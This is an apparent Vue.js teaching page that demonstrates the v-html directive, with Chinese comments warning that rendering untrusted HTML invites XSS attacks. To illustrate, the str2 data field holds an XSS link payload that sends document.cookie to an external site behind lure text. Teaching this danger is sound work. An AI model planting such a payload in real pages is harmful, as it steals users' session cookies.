<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
				v-html指令：
						1.作用：向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别：
									(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意：v-html有安全性问题！！！！
									(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
		-->
    <div id="root">
        <div>{{name}}</div>
        <!--建议用 {{name}}-->
        <div v-html="name"></div>
        <div>{{str}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data(){
            return {
                name:'abc',
                str:"<h3>h3</h3>",
                str2:`<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>兄弟，我找到你想要的资源了！</a>`
            }
        },
        computed:{
            
        },
        methods:{
            
        },
        watch:{
            
        }
    });
</script>
</html>